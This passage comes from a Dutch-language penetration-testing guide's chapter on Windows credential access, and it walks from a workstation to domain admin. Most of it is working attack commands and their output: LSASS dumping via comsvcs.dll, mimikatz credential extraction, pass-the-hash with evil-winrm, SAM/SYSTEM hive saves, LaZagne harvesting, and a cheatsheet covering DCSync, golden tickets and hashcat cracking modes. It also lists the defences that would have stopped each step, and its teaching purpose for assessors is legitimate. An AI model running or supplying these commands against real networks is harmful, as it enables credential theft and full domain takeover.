De oplossing is niet technisch. De technologie bestaat. Password managers werken. MFA werkt. Credential Guard werkt. De oplossing is organisatorisch: het management moet besluiten dat beveiliging prioriteit heeft boven gemak. En dat is het probleem. Want gemak wint altijd. Gemak is de dood van beveiliging. En beveiliging is het ongewenste kind van IT – iedereen weet dat het bestaat, niemand wil ervoor betalen, en als er iets misgaat is het ineens ieders probleem.
10.10 Praktische walkthrough – Van LSASS naar domain admin
Laten we een volledig scenario doorlopen. Je zit op werkstation
WS01 als CORP\jdejong met lokale
admin-rechten.
Stap 1: LSASS dumpen
# Check of PPL actief is
Get-Process lsass | Format-List *protect*
# Als PPL niet actief is (meest voorkomend):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp fullStap 2: Credentials extraheren
Op je eigen machine:
mimikatz # sekurlsa::minidump lsass.dmp
Opening : 'lsass.dmp' file for minidump...
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 7654321
Session : Interactive from 2
User Name : admin.vanderberg
Domain : CORP
msv :
* NTLM : e53d87d42adaa3ca32bdb34a876cbffb
kerberos :
* Password : (null)
Stap 3: Pass-the-Hash naar de volgende machine
admin.vanderberg is admin op SRV01. Gebruik
de hash:
evil-winrm -i SRV01 -u admin.vanderberg -H e53d87d42adaa3ca32bdb34a876cbffbStap 4: Op SRV01 – meer credentials
# LSASS opnieuw dumpen
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\tasks\lsass.dmp full
# SAM dumpen voor lokale accounts
reg save HKLM\SAM C:\Windows\tasks\sam.bak
reg save HKLM\SYSTEM C:\Windows\tasks\system.bakStap 5: LaZagne voor extra credentials
C:\Windows\tasks\lazagne.exe all
[+] Password found !!!
Software: PuTTY
Hostname: DC01.corp.local
Username: admin.vanderberg
Password: DA-V@nderBerg2024!Kijk eens aan. Het plaintext wachtwoord. Opgeslagen in PuTTY. Op een server waar de admin dagelijks SSH-sessies opzet naar de domain controller.
Stap 6: Domain controller
evil-winrm -i DC01.corp.local -u admin.vanderberg -p 'DA-V@nderBerg2024!'Game over. Van werkstation naar domain controller in zes stappen. De totale tijd in een echt assessment: minder dan een uur.
Dit is waarom credential access de heilige graal is. Het is niet spectaculair, het is niet ingewikkeld, het is niet geavanceerd. Het is gewoon het ophalen van sleutels die overal rondslingeren.
10.11 De credential chain samengevat
[WS01] jdejong (phishing)
↓ LSASS dump
[WS01] admin.vanderberg hash
↓ Pass-the-Hash (Evil-WinRM)
[SRV01] admin.vanderberg
↓ LaZagne (PuTTY saved credentials)
[SRV01] admin.vanderberg plaintext
↓ Direct login
[DC01] Domain Admin
↓ DCSync
[DC01] Alle hashes in het domein
Elke stap in deze keten had voorkomen kunnen worden: - Stap 1: Credential Guard op WS01 had de LSASS dump nutteloos gemaakt - Stap 2: LAPS had ervoor gezorgd dat de lokale admin hash niet herbruikbaar was - Stap 3: Tiered administration had voorkomen dat admin.vanderberg op WS01 inlogde - Stap 4: Een password manager (in plaats van PuTTY saved sessions) had het plaintext wachtwoord niet blootgesteld - Stap 5: Protected Users group had credential caching op SRV01 voorkomen
Vijf verdedigingen. Geen van allen geimplementeerd. Niet omdat ze niet bestaan, niet omdat ze te duur zijn, niet omdat ze te complex zijn. Maar omdat er altijd iets “urgenter” was. Een nieuwe feature, een deadline, een migratie. Beveiliging komt later. Beveiliging komt altijd later. Tot het te laat is.
10.12 Referentietabel
| Onderwerp | IB Command | Vereisten | Output |
|---|---|---|---|
| LSASS dump (comsvcs.dll) | cred_minidump |
Local admin / SeDebugPrivilege | .dmp bestand |
| LSASS dump (PPL bypass) | cred_lsass_ppldump |
Local admin + driver/exploit | .dmp bestand of directe output |
| SAM/SYSTEM/SECURITY dump | cred_sam_dump |
Local admin | Registry hive bestanden |
| Token impersonation | cred_token_impersonate |
SYSTEM of SeImpersonate | Gestolen token/sessie |
| Mimikatz download (certutil) | mimikatz |
Netwerk naar IB server | mimi.exe |
| Mimikatz download (PowerShell) | psmimikatz |
Netwerk naar IB server | mimi.exe |
| LaZagne download | get_lazagne |
Netwerk naar IB server | lazagne.exe |
10.13 Aanvullende resources
Mimikatz cheatsheet
# Basis credentials dump
privilege::debug
sekurlsa::logonpasswords
# WDigest wachtwoorden (als ingeschakeld)
sekurlsa::wdigest
# SAM database
lsadump::sam
# DCSync (vereist replication rechten)
lsadump::dcsync /user:DOMAIN\krbtgt
lsadump::dcsync /user:DOMAIN\Administrator
lsadump::dcsync /all /csv
# Token manipulatie
token::elevate
token::elevate /domainadmin
# DPAPI secrets
dpapi::masterkey /in:masterkey_file /rpc
dpapi::cred /in:credential_file
# Kerberos (zie ook hoofdstuk 8)
kerberos::golden /user:Administrator /domain:CORP.LOCAL /sid:S-1-5-21-... /krbtgt:HASH /ptt
kerberos::list
kerberos::purge
Hashcat snelreferentie
# NTLM
hashcat -m 1000 hashes.txt wordlist.txt
# NetNTLMv2 (responder captures)
hashcat -m 5600 hashes.txt wordlist.txt
# Kerberoast
hashcat -m 13100 hashes.txt wordlist.txt
# AS-REP roast
hashcat -m 18200 hashes.txt wordlist.txt
# DCC2 (cached domain credentials)
hashcat -m 2100 hashes.txt wordlist.txt
# Met regels
hashcat -m 1000 hashes.txt wordlist.txt -r best64.rule
# Status checken
hashcat -m 1000 hashes.txt wordlist.txt --show10.14 Samenvatting
Credential access is de smeerolie van elke netwerkaanval. Zonder credentials sta je stil. Met credentials beweeg je vrij. De technieken zijn niet nieuw, niet geavanceerd, en niet bijzonder creatief. Ze exploiteren een fundamenteel probleem: Windows bewaart credentials in het geheugen, mensen hergebruiken wachtwoorden, en organisaties implementeren de beschikbare verdedigingen niet.
LSASS bevat de kroonjuwelen en is vaak onbeschermd. De SAM database
is drie reg save-commando’s verwijderd van volledige
blootstelling. Tokens slingeren rond op machines waar admins ooit hebben
ingelogd. En LaZagne haalt wachtwoorden op die mensen bewust hebben
opgeslagen in hun browser, PuTTY, of WinSCP.
De verdedigingen bestaan: Credential Guard, LAPS, Protected Users, tiered administration. Ze werken. Ze zijn bewezen. Ze zijn beschikbaar zonder extra licentiekosten. Maar ze vereisen inspanning, discipline, en de bereidheid om gebruikers even te laten klagen over het ongemak.
In het volgende hoofdstuk verleggen we onze aandacht naar Active Directory Certificate Services – ADCS – waar we ontdekken dat certificaten net zo misbruikbaar zijn als wachtwoorden, maar dan met een langere houdbaarheid.
Volgende: Hoofdstuk 11 – ADCS